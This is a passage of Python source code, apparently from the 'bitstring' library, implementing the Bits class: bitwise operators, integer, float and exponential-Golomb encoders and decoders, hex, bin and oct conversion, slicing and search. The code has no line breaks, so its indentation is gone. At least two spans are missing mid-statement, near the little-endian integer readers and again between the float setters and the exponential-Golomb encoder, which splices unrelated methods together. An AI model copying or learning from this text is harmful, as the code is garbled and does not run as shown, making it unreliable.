lengths. """ bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for | operator.") s = self._copy() s._ior(bs) return s def __ror__(self, bs): """Bit-wise 'or' between two bitstrings. Returns new bitstring. bs -- The bitstring to '|' with. Raises ValueError if the two bitstrings have differing lengths. """ return self.__or__(bs) def __xor__(self, bs): """Bit-wise 'xor' between two bitstrings. Returns new bitstring. bs -- The bitstring to '^' with. Raises ValueError if the two bitstrings have differing lengths. """ bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for ^ operator.") s = self._copy() s._ixor(bs) return s def __rxor__(self, bs): """Bit-wise 'xor' between two bitstrings. Returns new bitstring. bs -- The bitstring to '^' with. Raises ValueError if the two bitstrings have differing lengths. """ return self.__xor__(bs) def __contains__(self, bs): """Return whether bs is contained in the current bitstring. bs -- The bitstring to search for. """ # Don't want to change pos try: pos = self._pos except AttributeError: pass found = Bits.find(self, bs, bytealigned=False) try: self._pos = pos except UnboundLocalError: pass return bool(found) def __hash__(self): """Return an integer hash of the object.""" # We can't in general hash the whole bitstring (it could take hours!) # So instead take some bits from the start and end. if self.len <= 160: # Use the whole bitstring. shorter = self else: # Take 10 bytes from start and end shorter = self[:80] + self[-80:] h = 0 for byte in shorter.tobytes(): try: h = (h << 4) + ord(byte) except TypeError: # Python 3 h = (h << 4) + byte g = h & 0xf0000000 if g & (1 << 31): h ^= (g >> 24) h ^= g return h % 1442968193 # This is only used in Python 2.x... def __nonzero__(self): """Return True if any bits are set to 1, otherwise return False.""" return self.any(True) # ...whereas this is used in Python 3.x __bool__ = __nonzero__ def _assertsanity(self): """Check internal self consistency as a debugging aid.""" assert self.len >= 0 assert 0 <= self._offset, "offset={0}".format(self._offset) assert (self.len + self._offset + 7) // 8 == self._datastore.bytelength + self._datastore.byteoffset return True @classmethod def _init_with_token(cls, name, token_length, value): if token_length is not None: token_length = int(token_length) if token_length == 0: return cls() # For pad token just return the length in zero bits if name == 'pad': return cls(token_length) if value is None: if token_length is None: error = "Token has no value ({0}=???).".format(name) else: error = "Token has no value ({0}:{1}=???).".format(name, token_length) raise ValueError(error) try: b = cls(**{_tokenname_to_initialiser[name]: value}) except KeyError: if name in ('se', 'ue', 'sie', 'uie'): b = cls(**{name: int(value)}) elif name in ('uint', 'int', 'uintbe', 'intbe', 'uintle', 'intle', 'uintne', 'intne'): b = cls(**{name: int(value), 'length': token_length}) elif name in ('float', 'floatbe', 'floatle', 'floatne'): b = cls(**{name: float(value), 'length': token_length}) elif name == 'bool': if value in (1, 'True', '1'): b = cls(bool=True) elif value in (0, 'False', '0'): b = cls(bool=False) else: raise CreationError("bool token can only be 'True' or 'False'.") else: raise CreationError("Can't parse token name {0}.", name) if token_length is not None and b.len != token_length: msg = "Token with length {0} packed with value of length {1} ({2}:{3}={4})." raise CreationError(msg, token_length, b.len, name, token_length, value) return b def _clear(self): """Reset the bitstring to an empty state.""" self._datastore = ByteStore(bytearray(0)) def _setauto(self, s, length, offset): """Set bitstring from a bitstring, file, bool, integer, array, iterable or string.""" # As s can be so many different things it's important to do the checks # in the correct order, as some types are also other allowed types. # So basestring must be checked before Iterable # and bytes/bytearray before Iterable but after basestring! if isinstance(s, Bits): if length is None: length = s.len - offset self._setbytes_unsafe(s._datastore.rawbytes, length, s._offset + offset) return if isinstance(s, file): if offset is None: offset = 0 if length is None: length = os.path.getsize(s.name) * 8 - offset byteoffset, offset = divmod(offset, 8) bytelength = (length + byteoffset * 8 + offset + 7) // 8 - byteoffset m = MmapByteArray(s, bytelength, byteoffset) if length + byteoffset * 8 + offset > m.filelength * 8: raise CreationError("File is not long enough for specified " "length and offset.") self._datastore = ConstByteStore(m, length, offset) return if length is not None: raise CreationError("The length keyword isn't applicable to this initialiser.") if offset: raise CreationError("The offset keyword isn't applicable to this initialiser.") if isinstance(s, basestring): bs = self._converttobitstring(s) assert bs._offset == 0 self._setbytes_unsafe(bs._datastore.rawbytes, bs.length, 0) return if isinstance(s, (bytes, bytearray)): self._setbytes_unsafe(bytearray(s), len(s) * 8, 0) return if isinstance(s, array.array): try: b = s.tobytes() except AttributeError: b = s.tostring() # Python 2.7 self._setbytes_unsafe(bytearray(b), len(b) * 8, 0) return if isinstance(s, numbers.Integral): # Initialise with s zero bits. if s < 0: msg = "Can't create bitstring of negative length {0}." raise CreationError(msg, s) data = bytearray((s + 7) // 8) self._datastore = ByteStore(data, s, 0) return if isinstance(s, collections.Iterable): # Evaluate each item as True or False and set bits to 1 or 0. self._setbin_unsafe(''.join(str(int(bool(x))) for x in s)) return raise TypeError("Cannot initialise bitstring from {0}.".format(type(s))) def _setfile(self, filename, length, offset): """Use file as source of bits.""" with open(filename, 'rb') as source: if offset is None: offset = 0 if length is None: length = os.path.getsize(source.name) * 8 - offset byteoffset, offset = divmod(offset, 8) bytelength = (length + byteoffset * 8 + offset + 7) // 8 - byteoffset m = MmapByteArray(source, bytelength, byteoffset) if length + byteoffset * 8 + offset > m.filelength * 8: raise CreationError("File is not long enough for specified " "length and offset.") self._datastore = ConstByteStore(m, length, offset) def _setbytes_safe(self, data, length=None, offset=0): """Set the data from a string.""" data = bytearray(data) if length is None: # Use to the end of the data length = len(data)*8 - offset self._datastore = ByteStore(data, length, offset) else: if length + offset > len(data) * 8: msg = "Not enough data present. Need {0} bits, have {1}." raise CreationError(msg, length + offset, len(data) * 8) if length == 0: self._datastore = ByteStore(bytearray(0)) else: self._datastore = ByteStore(data, length, offset) def _setbytes_unsafe(self, data, length, offset): """Unchecked version of _setbytes_safe.""" self._datastore = type(self._datastore)(data[:], length, offset) assert self._assertsanity() def _readbytes(self, length, start): """Read bytes and return them. Note that length is in bits.""" assert length % 8 == 0 assert start + length <= self.len if not (start + self._offset) % 8: return bytes(self._datastore.getbyteslice((start + self._offset) // 8, (start + self._offset + length) // 8)) return self._slice(start, start + length).tobytes() def _getbytes(self): """Return the data as an ordinary string.""" if self.len % 8: raise InterpretError("Cannot interpret as bytes unambiguously - " "not multiple of 8 bits.") return self._readbytes(self.len, 0) def _setuint(self, uint, length=None): """Reset the bitstring to have given unsigned int interpretation.""" try: if length is None: # Use the whole length. Deliberately not using .len here. length = self._datastore.bitlength except AttributeError: # bitstring doesn't have a _datastore as it hasn't been created! pass # TODO: All this checking code should be hoisted out of here! if length is None or length == 0: raise CreationError("A non-zero length must be specified with a " "uint initialiser.") if uint >= (1 << length): msg = "{0} is too large an unsigned integer for a bitstring of length {1}. "\ "The allowed range is [0, {2}]." raise CreationError(msg, uint, length, (1 << length) - 1) if uint < 0: raise CreationError("uint cannot be initialsed by a negative number.") s = hex(uint)[2:] s = s.rstrip('L') if len(s) & 1: s = '0' + s try: data = bytes.fromhex(s) except AttributeError: # the Python 2.x way data = binascii.unhexlify(s) # Now add bytes as needed to get the right length. extrabytes = ((length + 7) // 8) - len(data) if extrabytes > 0: data = b'\x00' * extrabytes + data offset = 8 - (length % 8) if offset == 8: offset = 0 self._setbytes_unsafe(bytearray(data), length, offset) def _readuint(self, length, start): """Read bits and interpret as an unsigned int.""" if not length: raise InterpretError("Cannot interpret a zero length bitstring " "as an integer.") offset = self._offset startbyte = (start + offset) // 8 endbyte = (start + offset + length - 1) // 8 b = binascii.hexlify(bytes(self._datastore.getbyteslice(startbyte, endbyte + 1))) assert b i = int(b, 16) final_bits = 8 - ((start + offset + length) % 8) if final_bits != 8: i >>= final_bits i &= (1 << length) - 1 return i def _getuint(self): """Return data as an unsigned int.""" return self._readuint(self.len, 0) def _setint(self, int_, length=None): """Reset the bitstring to have given signed int interpretation.""" # If no length given, and we've previously been given a length, use it. if length is None and hasattr(self, 'len') and self.len != 0: length = self.len if length is None or length == 0: raise CreationError("A non-zero length must be specified with an int initialiser.") if int_ >= (1 << (length - 1)) or int_ < -(1 << (length - 1)): raise CreationError("{0} is too large a signed integer for a bitstring of length {1}. " "The allowed range is [{2}, {3}].", int_, length, -(1 << (length - 1)), (1 << (length - 1)) - 1) if int_ >= 0: self._setuint(int_, length) return # Do the 2's complement thing. Add one, set to minus number, then flip bits. self._setuint((-int_ - 1) ^ ((1 << length) - 1), length) def _readint(self, length, start): """Read bits and interpret as a signed int""" ui = self._readuint(length, start) if not ui >> (length - 1): # Top bit not set, number is positive return ui # Top bit is set, so number is negative tmp = (~(ui - 1)) & ((1 << length) - 1) return -tmp def _getint(self): """Return data as a two's complement signed int.""" return self._readint(self.len, 0) def _setuintbe(self, uintbe, length=None): """Set the bitstring to a big-endian unsigned int interpretation.""" if length is not None and length % 8 != 0: raise CreationError("Big-endian integers must be whole-byte. " "Length = {0} bits.", length) self._setuint(uintbe, length) def _readuintbe(self, length, start): """Read bits and interpret as a big-endian unsigned int.""" if length % 8: raise InterpretError("Big-endian integers must be whole-byte. " "Length = {0} bits.", length) return self._readuint(length, start) def _getuintbe(self): """Return data as a big-endian two's complement unsigned int.""" return self._readuintbe(self.len, 0) def _setintbe(self, intbe, length=None): """Set bitstring to a big-endian signed int interpretation.""" if length is not None and length % 8 != 0: raise CreationError("Big-endian integers must be whole-byte. " "Length = {0} bits.", length) self._setint(intbe, length) def _readintbe(self, length, start): """Read bits and interpret as a big-endian signed int.""" if length % 8: raise InterpretError("Big-endian integers must be whole-byte. " "Length = {0} bits.", length) return self._readint(length, start) def _getintbe(self): """Return data as a big-endian two's complement signed int.""" return self._readintbe(self.len, 0) def _setuintle(self, uintle, length=None): if length is not None and length % 8 != 0: raise CreationError("Little-endian integers must be whole-byte. " "Length = {0} bits.", length) self._setuint(uintle, length) self._datastore._rawarray = self._datastore._rawarray[::-1] def _readuintle(self, length, start): """Read bits and interpret as a little-endian unsigned int.""" if length % 8: raise InterpretError("Little-endian integers must be whole-byte. " "Length = {0} bits.", length) assert start + length <= self.len absolute_pos = start + self._offset startbyte, offset = divmod(absolute_pos, 8) val = 0 if not offset: endbyte = (absolute_pos + length - 1) // 8 chunksize = 4 # for 'L' format while endbyte - chunksize + 1 >= startbyte: val <<= 8 * chunksize val += struct.unpack('> (length - 1): # Top bit not set, number is positive return ui # Top bit is set, so number is negative tmp = (~(ui - 1)) & ((1 << length) - 1) return -tmp def _getintle(self): return self._readintle(self.len, 0) def _setfloat(self, f, length=None): # If no length given, and we've previously been given a length, use it. if length is None and hasattr(self, 'len') and self.len != 0: length = self.len if length is None or length == 0: raise CreationError("A non-zero length must be specified with a " "float initialiser.") if length == 32: b = struct.pack('>f', f) elif length == 64: b = struct.pack('>d', f) else: raise CreationError("floats can only be 32 or 64 bits long, " "not {0} bits", length) self._setbytes_unsafe(bytearray(b), length, 0) def _readfloat(self, length, start): """Read bits and interpret as a float.""" if not (start + self._offset) % 8: startbyte = (start + self._offset) // 8 if length == 32: f, = struct.unpack('>f', bytes(self._datastore.getbyteslice(startbyte, startbyte + 4))) elif length == 64: f, = struct.unpack('>d', bytes(self._datastore.getbyteslice(startbyte, startbyte + 8))) else: if length == 32: f, = struct.unpack('>f', self._readbytes(32, start)) elif length == 64: f, = struct.unpack('>d', self._readbytes(64, start)) try: return f except NameError: raise InterpretError("floats can only be 32 or 64 bits long, not {0} bits", length) def _getfloat(self): """Interpret the whole bitstring as a float.""" return self._readfloat(self.len, 0) def _setfloatle(self, f, length=None): # If no length given, and we've previously been given a length, use it. if length is None and hasattr(self, 'len') and self.len != 0: length = self.len if length is None or length == 0: raise CreationError("A non-zero length must be specified with a " "float initialiser.") if length == 32: b = struct.pack(' 0: tmp >>= 1 leadingzeros += 1 remainingpart = i + 1 - (1 << leadingzeros) binstring = '0' * leadingzeros + '1' + Bits(uint=remainingpart, length=leadingzeros).bin self._setbin_unsafe(binstring) def _readue(self, pos): """Return interpretation of next bits as unsigned exponential-Golomb code. Raises ReadError if the end of the bitstring is encountered while reading the code. """ oldpos = pos try: while not self[pos]: pos += 1 except IndexError: raise ReadError("Read off end of bitstring trying to read code.") leadingzeros = pos - oldpos codenum = (1 << leadingzeros) - 1 if leadingzeros > 0: if pos + leadingzeros + 1 > self.len: raise ReadError("Read off end of bitstring trying to read code.") codenum += self._readuint(leadingzeros, pos + 1) pos += leadingzeros + 1 else: assert codenum == 0 pos += 1 return codenum, pos def _getue(self): """Return data as unsigned exponential-Golomb code. Raises InterpretError if bitstring is not a single exponential-Golomb code. """ try: value, newpos = self._readue(0) if value is None or newpos != self.len: raise ReadError except ReadError: raise InterpretError("Bitstring is not a single exponential-Golomb code.") return value def _setse(self, i): """Initialise bitstring with signed exponential-Golomb code for integer i.""" if i > 0: u = (i * 2) - 1 else: u = -2 * i self._setue(u) def _getse(self): """Return data as signed exponential-Golomb code. Raises InterpretError if bitstring is not a single exponential-Golomb code. """ try: value, newpos = self._readse(0) if value is None or newpos != self.len: raise ReadError except ReadError: raise InterpretError("Bitstring is not a single exponential-Golomb code.") return value def _readse(self, pos): """Return interpretation of next bits as a signed exponential-Golomb code. Advances position to after the read code. Raises ReadError if the end of the bitstring is encountered while reading the code. """ codenum, pos = self._readue(pos) m = (codenum + 1) // 2 if not codenum % 2: return -m, pos else: return m, pos def _setuie(self, i): """Initialise bitstring with unsigned interleaved exponential-Golomb code for integer i. Raises CreationError if i < 0. """ if i < 0: raise CreationError("Cannot use negative initialiser for unsigned " "interleaved exponential-Golomb.") self._setbin_unsafe('1' if i == 0 else '0' + '0'.join(bin(i + 1)[3:]) + '1') def _readuie(self, pos): """Return interpretation of next bits as unsigned interleaved exponential-Golomb code. Raises ReadError if the end of the bitstring is encountered while reading the code. """ try: codenum = 1 while not self[pos]: pos += 1 codenum <<= 1 codenum += self[pos] pos += 1 pos += 1 except IndexError: raise ReadError("Read off end of bitstring trying to read code.") codenum -= 1 return codenum, pos def _getuie(self): """Return data as unsigned interleaved exponential-Golomb code. Raises InterpretError if bitstring is not a single exponential-Golomb code. """ try: value, newpos = self._readuie(0) if value is None or newpos != self.len: raise ReadError except ReadError: raise InterpretError("Bitstring is not a single interleaved exponential-Golomb code.") return value def _setsie(self, i): """Initialise bitstring with signed interleaved exponential-Golomb code for integer i.""" if not i: self._setbin_unsafe('1') else: self._setuie(abs(i)) self._append(Bits([i < 0])) def _getsie(self): """Return data as signed interleaved exponential-Golomb code. Raises InterpretError if bitstring is not a single exponential-Golomb code. """ try: value, newpos = self._readsie(0) if value is None or newpos != self.len: raise ReadError except ReadError: raise InterpretError("Bitstring is not a single interleaved exponential-Golomb code.") return value def _readsie(self, pos): """Return interpretation of next bits as a signed interleaved exponential-Golomb code. Advances position to after the read code. Raises ReadError if the end of the bitstring is encountered while reading the code. """ codenum, pos = self._readuie(pos) if not codenum: return 0, pos try: if self[pos]: return -codenum, pos + 1 else: return codenum, pos + 1 except IndexError: raise ReadError("Read off end of bitstring trying to read code.") def _setbool(self, value): # We deliberately don't want to have implicit conversions to bool here. # If we did then it would be difficult to deal with the 'False' string. if value in (1, 'True'): self._setbytes_unsafe(bytearray(b'\x80'), 1, 0) elif value in (0, 'False'): self._setbytes_unsafe(bytearray(b'\x00'), 1, 0) else: raise CreationError('Cannot initialise boolean with {0}.', value) def _getbool(self): if self.length != 1: msg = "For a bool interpretation a bitstring must be 1 bit long, not {0} bits." raise InterpretError(msg, self.length) return self[0] def _readbool(self, pos): return self[pos], pos + 1 def _setbin_safe(self, binstring): """Reset the bitstring to the value given in binstring.""" binstring = tidy_input_string(binstring) # remove any 0b if present binstring = binstring.replace('0b', '') self._setbin_unsafe(binstring) def _setbin_unsafe(self, binstring): """Same as _setbin_safe, but input isn't sanity checked. binstring mustn't start with '0b'.""" length = len(binstring) # pad with zeros up to byte boundary if needed boundary = ((length + 7) // 8) * 8 padded_binstring = binstring + '0' * (boundary - length)\ if len(binstring) < boundary else binstring try: bytelist = [int(padded_binstring[x:x + 8], 2) for x in xrange(0, len(padded_binstring), 8)] except ValueError: raise CreationError("Invalid character in bin initialiser {0}.", binstring) self._setbytes_unsafe(bytearray(bytelist), length, 0) def _readbin(self, length, start): """Read bits and interpret as a binary string.""" if not length: return '' # Get the byte slice containing our bit slice startbyte, startoffset = divmod(start + self._offset, 8) endbyte = (start + self._offset + length - 1) // 8 b = self._datastore.getbyteslice(startbyte, endbyte + 1) # Convert to a string of '0' and '1's (via a hex string an and int!) c = "{:0{}b}".format(int(binascii.hexlify(b), 16), 8*len(b)) # Finally chop off any extra bits. return c[startoffset:startoffset + length] def _getbin(self): """Return interpretation as a binary string.""" return self._readbin(self.len, 0) def _setoct(self, octstring): """Reset the bitstring to have the value given in octstring.""" octstring = tidy_input_string(octstring) # remove any 0o if present octstring = octstring.replace('0o', '') binlist = [] for i in octstring: try: binlist.append(OCT_TO_BITS[int(i)]) except (ValueError, IndexError): raise CreationError("Invalid symbol '{0}' in oct initialiser.", i) self._setbin_unsafe(''.join(binlist)) def _readoct(self, length, start): """Read bits and interpret as an octal string.""" if length % 3: raise InterpretError("Cannot convert to octal unambiguously - " "not multiple of 3 bits.") if not length: return '' # Get main octal bit by converting from int. # Strip starting 0 or 0o depending on Python version. end = oct(self._readuint(length, start))[LEADING_OCT_CHARS:] if end.endswith('L'): end = end[:-1] middle = '0' * (length // 3 - len(end)) return middle + end def _getoct(self): """Return interpretation as an octal string.""" return self._readoct(self.len, 0) def _sethex(self, hexstring): """Reset the bitstring to have the value given in hexstring.""" hexstring = tidy_input_string(hexstring) # remove any 0x if present hexstring = hexstring.replace('0x', '') length = len(hexstring) if length % 2: hexstring += '0' try: data = bytearray.fromhex(hexstring) except ValueError: raise CreationError("Invalid symbol in hex initialiser.") self._setbytes_unsafe(data, length * 4, 0) def _readhex(self, length, start): """Read bits and interpret as a hex string.""" if length % 4: raise InterpretError("Cannot convert to hex unambiguously - " "not multiple of 4 bits.") if not length: return '' s = self._slice(start, start + length).tobytes() try: s = s.hex() # Available in Python 3.5 except AttributeError: # This monstrosity is the only thing I could get to work for both 2.6 and 3.1. # TODO: Is utf-8 really what we mean here? s = str(binascii.hexlify(s).decode('utf-8')) # If there's one nibble too many then cut it off return s[:-1] if (length // 4) % 2 else s def _gethex(self): """Return the hexadecimal representation as a string prefixed with '0x'. Raises an InterpretError if the bitstring's length is not a multiple of 4. """ return self._readhex(self.len, 0) def _getoffset(self): return self._datastore.offset def _getlength(self): """Return the length of the bitstring in bits.""" return self._datastore.bitlength def _ensureinmemory(self): """Ensure the data is held in memory, not in a file.""" self._setbytes_unsafe(self._datastore.getbyteslice(0, self._datastore.bytelength), self.len, self._offset) @classmethod def _converttobitstring(cls, bs, offset=0, cache={}): """Convert bs to a bitstring and return it. offset gives the suggested bit offset of first significant bit, to optimise append etc. """ if isinstance(bs, Bits): return bs try: return cache[(bs, offset)] except KeyError: if isinstance(bs, basestring): b = cls() try: _, tokens = tokenparser(bs) except ValueError as e: raise CreationError(*e.args) if tokens: b._append(Bits._init_with_token(*tokens[0])) b._datastore = offsetcopy(b._datastore, offset) for token in tokens[1:]: b._append(Bits._init_with_token(*token)) assert b._assertsanity() assert b.len == 0 or b._offset == offset if len(cache) < CACHE_SIZE: cache[(bs, offset)] = b return b except TypeError: # Unhashable type pass return cls(bs) def _copy(self): """Create and return a new copy of the Bits (always in memory).""" s_copy = self.__class__() s_copy._setbytes_unsafe(self._datastore.getbyteslice(0, self._datastore.bytelength), self.len, self._offset) return s_copy def _slice(self, start, end): """Used internally to get a slice, without error checking.""" if end == start: return self.__class__() offset = self._offset startbyte, newoffset = divmod(start + offset, 8) endbyte = (end + offset - 1) // 8 bs = self.__class__() bs._setbytes_unsafe(self._datastore.getbyteslice(startbyte, endbyte + 1), end - start, newoffset) return bs def _readtoken(self, name, pos, length): """Reads a token from the bitstring and returns the result.""" if length is not None and int(length) > self.length - pos: raise ReadError("Reading off the end of the data. " "Tried to read {0} bits when only {1} available.".format(int(length), self.length - pos)) try: val = name_to_read[name](self, length, pos) return val, pos + length except KeyError: if name == 'pad': return None, pos + length raise ValueError("Can't parse token {0}:{1}".format(name, length)) except TypeError: # This is for the 'ue', 'se' and 'bool' tokens. They will also return the new pos. return name_to_read[name](self, pos) def _append(self, bs): """Append a bitstring to the current bitstring.""" self._datastore._appendstore(bs._datastore) def _prepend(self, bs): """Prepend a bitstring to the current bitstring.""" self._datastore._prependstore(bs._datastore) def _reverse(self): """Reverse all bits in-place.""" # Reverse the contents of each byte n = [BYTE_REVERSAL_DICT[b] for b in self._datastore.rawbytes] # Then reverse the order of the bytes n.reverse() # The new offset is the number of bits that were unused at the end. newoffset = 8 - (self._offset + self.len) % 8 if newoffset == 8: newoffset = 0 self._setbytes_unsafe(bytearray().join(n), self.length, newoffset) def _truncatestart(self, bits): """Truncate bits from the start of the bitstring.""" assert 0 <= bits <= self.len if not bits: return if bits == self.len: self._clear() return bytepos, offset = divmod(self._offset + bits, 8) self._setbytes_unsafe(self._datastore.getbyteslice(bytepos, self._datastore.bytelength), self.len - bits, offset) assert self._assertsanity() def _truncateend(self, bits): """Truncate bits from the end of the bitstring.""" assert 0 <= bits <= self.len if not bits: return if bits == self.len: self._clear() return newlength_in_bytes = (self._offset + self.len - bits + 7) // 8 self._setbytes_unsafe(self._datastore.getbyteslice(0, newlength_in_bytes), self.len - bits, self._offset) assert self._assertsanity() def _insert(self, bs, pos): """Insert bs at pos.""" assert 0 <= pos <= self.len if pos > self.len // 2: # Inserting nearer end, so cut off end. end = self._slice(pos, self.len) self._truncateend(self.len - pos) self._append(bs) self._append(end) else: # Inserting nearer start, so cut off start. start = self._slice(0, pos) self._truncatestart(pos) self._prepend(bs) self._prepend(start) try: self._pos = pos + bs.len except AttributeError: pass assert self._assertsanity() def _overwrite(self, bs, pos): """Overwrite with bs at pos.""" assert 0 <= pos < self.len if bs is self: # Just overwriting with self, so do nothing. assert pos == 0 return firstbytepos = (self._offset + pos) // 8 lastbytepos = (self._offset + pos + bs.len - 1) // 8 bytepos, bitoffset = divmod(self._offset + pos, 8) if firstbytepos == lastbytepos: mask = ((1 << bs.len) - 1) << (8 - bs.len - bitoffset) self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) & (~mask)) d = offsetcopy(bs._datastore, bitoffset) self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) | (d.getbyte(0) & mask)) else: # Do first byte mask = (1 << (8 - bitoffset)) - 1 self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) & (~mask)) d = offsetcopy(bs._datastore, bitoffset) self._datastore.setbyte(bytepos, self._datastore.getbyte(bytepos) | (d.getbyte(0) & mask)) # Now do all the full bytes self._datastore.setbyteslice(firstbytepos + 1, lastbytepos, d.getbyteslice(1, lastbytepos - firstbytepos)) # and finally the last byte bitsleft = (self._offset + pos + bs.len) % 8 if not bitsleft: bitsleft = 8 mask = (1 << (8 - bitsleft)) - 1 self._datastore.setbyte(lastbytepos, self._datastore.getbyte(lastbytepos) & mask) self._datastore.setbyte(lastbytepos, self._datastore.getbyte(lastbytepos) | (d.getbyte(d.bytelength - 1) & ~mask)) assert self._assertsanity() def _delete(self, bits, pos): """Delete bits at pos.""" assert 0 <= pos <= self.len assert pos + bits <= self.len if not pos: # Cutting bits off at the start. self._truncatestart(bits) return if pos + bits == self.len: # Cutting bits off at the end. self._truncateend(bits) return if pos > self.len - pos - bits: # More bits before cut point than after it, so do bit shifting # on the final bits. end = self._slice(pos + bits, self.len) assert self.len - pos > 0 self._truncateend(self.len - pos) self._append(end) return # More bits after the cut point than before it. start = self._slice(0, pos) self._truncatestart(pos + bits) self._prepend(start) return def _reversebytes(self, start, end): """Reverse bytes in-place.""" # Make the start occur on a byte boundary # TODO: We could be cleverer here to avoid changing the offset. newoffset = 8 - (start % 8) if newoffset == 8: newoffset = 0 self._datastore = offsetcopy(self._datastore, newoffset) # Now just reverse the byte data toreverse = bytearray(self._datastore.getbyteslice((newoffset + start) // 8, (newoffset + end) // 8)) toreverse.reverse() self._datastore.setbyteslice((newoffset + start) // 8, (newoffset + end) // 8, toreverse) def _set(self, pos): """Set bit at pos to 1.""" assert 0 <= pos < self.len self._datastore.setbit(pos) def _unset(self, pos): """Set bit at pos to 0.""" assert 0 <= pos < self.len self._datastore.unsetbit(pos) def _invert(self, pos): """Flip bit at pos 1<->0.""" assert 0 <= pos < self.len self._datastore.invertbit(pos) def _invert_all(self): """Invert every bit.""" for p in xrange(self._datastore.byteoffset, self._datastore.byteoffset + self._datastore.bytelength): self._datastore._rawarray[p] = 256 + ~self._datastore._rawarray[p] def _ilshift(self, n): """Shift bits by n to the left in place. Return self.""" assert 0 < n <= self.len self._append(Bits(n)) self._truncatestart(n) return self def _irshift(self, n): """Shift bits by n to the right in place. Return self.""" assert 0 < n <= self.len self._prepend(Bits(n)) self._truncateend(n) return self def _imul(self, n): """Concatenate n copies of self in place. Return self.""" assert n >= 0 if not n: self._clear() return self m = 1 old_len = self.len while m * 2 < n: self._append(self) m *= 2 self._append(self[0:(n - m) * old_len]) return self def _inplace_logical_helper(self, bs, f): """Helper function containing most of the __ior__, __iand__, __ixor__ code.""" # Give the two bitstrings the same offset (modulo 8) self_byteoffset, self_bitoffset = divmod(self._offset, 8) bs_byteoffset, bs_bitoffset = divmod(bs._offset, 8) if bs_bitoffset != self_bitoffset: if not self_bitoffset: bs._datastore = offsetcopy(bs._datastore, 0) else: self._datastore = offsetcopy(self._datastore, bs_bitoffset) a = self._datastore.rawbytes b = bs._datastore.rawbytes for i in xrange(len(a)): a[i] = f(a[i + self_byteoffset], b[i + bs_byteoffset]) return self def _ior(self, bs): return self._inplace_logical_helper(bs, operator.ior) def _iand(self, bs): return self._inplace_logical_helper(bs, operator.iand) def _ixor(self, bs): return self._inplace_logical_helper(bs, operator.xor) def _readbits(self, length, start): """Read some bits from the bitstring and return newly constructed bitstring.""" return self._slice(start, start + length) def _validate_slice(self, start, end): """Validate start and end and return them as positive bit positions.""" if start is None: start = 0 elif start < 0: start += self.len if end is None: end = self.len elif end < 0: end += self.len if not 0 <= end <= self.len: raise ValueError("end is not a valid position in the bitstring.") if not 0 <= start <= self.len: raise ValueError("start is not a valid position in the bitstring.") if end < start: raise ValueError("end must not be less than start.") return start, end def unpack(self, fmt, **kwargs): """Interpret the whole bitstring using fmt and return list. fmt -- A single string or a list of strings with comma separated tokens describing how to interpret the bits in the bitstring. Items can also be integers, for reading new bitstring of the given length. kwargs -- A dictionary or keyword-value pairs - the keywords used in the format string will be replaced with their given value. Raises ValueError if the format is not understood. If not enough bits are available then all bits to the end of the bitstring will be used. See the docstring for 'read' for token examples. """ return self._readlist(fmt, 0, **kwargs)[0] def _readlist(self, fmt, pos, **kwargs): tokens = [] stretchy_token = None if isinstance(fmt, basestring): fmt = [fmt] # Not very optimal this, but replace integers with 'bits' tokens # TODO: optimise for i, f in enumerate(fmt): if isinstance(f, numbers.Integral): fmt[i] = "bits:{0}".format(f) for f_item in fmt: stretchy, tkns = tokenparser(f_item, tuple(sorted(kwargs.keys()))) if stretchy: if stretchy_token: raise Error("It's not possible to have more than one 'filler' token.") stretchy_token = stretchy tokens.extend(tkns) if not stretchy_token: lst = [] for name, length, _ in tokens: if length in kwargs: length = kwargs[length] if name == 'bytes': length *= 8 if name in kwargs and length is None: # Using default 'uint' - the name is really the length. value, pos = self._readtoken('uint', pos, kwargs[name]) lst.append(value) continue value, pos = self._readtoken(name, pos, length) if value is not None: # Don't append pad tokens lst.append(value) return lst, pos stretchy_token = False bits_after_stretchy_token = 0 for token in tokens: name, length, _ = token if length in kwargs: length = kwargs[length] if name == 'bytes': length *= 8 if name in kwargs and length is None: # Default 'uint'. length = kwargs[name] if stretchy_token: if name in ('se', 'ue', 'sie', 'uie'): raise Error("It's not possible to parse a variable" "length token after a 'filler' token.") else: if length is None: raise Error("It's not possible to have more than " "one 'filler' token.") bits_after_stretchy_token += length if length is None and name not in ('se', 'ue', 'sie', 'uie'): assert not stretchy_token stretchy_token = token bits_left = self.len - pos return_values = [] for token in tokens: name, length, _ = token if token is stretchy_token: # Set length to the remaining bits length = max(bits_left - bits_after_stretchy_token, 0) if length in kwargs: length = kwargs[length] if name == 'bytes': length *= 8 if name in kwargs and length is None: # Default 'uint' length = kwargs[name] if length is not None: bits_left -= length value, pos = self._readtoken(name, pos, length) if value is not None: return_values.append(value) return return_values, pos def _findbytes(self, bytes_, start, end, bytealigned): """Quicker version of find when everything's whole byte and byte aligned. """ assert self._datastore.offset == 0 assert bytealigned is True # Extract data bytes from bitstring to be found. bytepos = (start + 7) // 8 found = False p = bytepos finalpos = end // 8 increment = max(1024, len(bytes_) * 10) buffersize = increment + len(bytes_) while p < finalpos: # Read in file or from memory in overlapping chunks and search the chunks. buf = bytearray(self._datastore.getbyteslice(p, min(p + buffersize, finalpos))) pos = buf.find(bytes_) if pos != -1: found = True p += pos break p += increment if not found: return () return (p * 8,) def _findregex(self, reg_ex, start, end, bytealigned): """Find first occurrence of a compiled regular expression. Note that this doesn't support arbitrary regexes, in particular they must match a known length. """ p = start length = len(reg_ex.pattern) # We grab overlapping chunks of the binary representation and # do an ordinary string search within that. increment = max(4096, length * 10) buffersize = increment + length while p < end: buf = self._readbin(min(buffersize, end - p), p) # Test using regular expressions... m = reg_ex.search(buf) if m: pos = m.start() # pos = buf.find(targetbin) # if pos != -1: # if bytealigned then we only accept byte aligned positions. if not bytealigned or (p + pos) % 8 == 0: return (p + pos,) if bytealigned: # Advance to just beyond the non-byte-aligned match and try again... p += pos + 1 continue p += increment # Not found, return empty tuple return () def find(self, bs, start=None, end=None, bytealigned=None): """Find first occurrence of substring bs. Returns a single item tuple with the bit position if found, or an empty tuple if not found. The bit position (pos property) will also be set to the start of the substring if it is found. bs -- The bitstring to find. start -- The bit position to start the search. Defaults to 0. end -- The bit position one past the last bit to search. Defaults to self.len. bytealigned -- If True the bitstring will only be found on byte boundaries. Raises ValueError if bs is empty, if start < 0, if end > self.len or if end < start. >>> 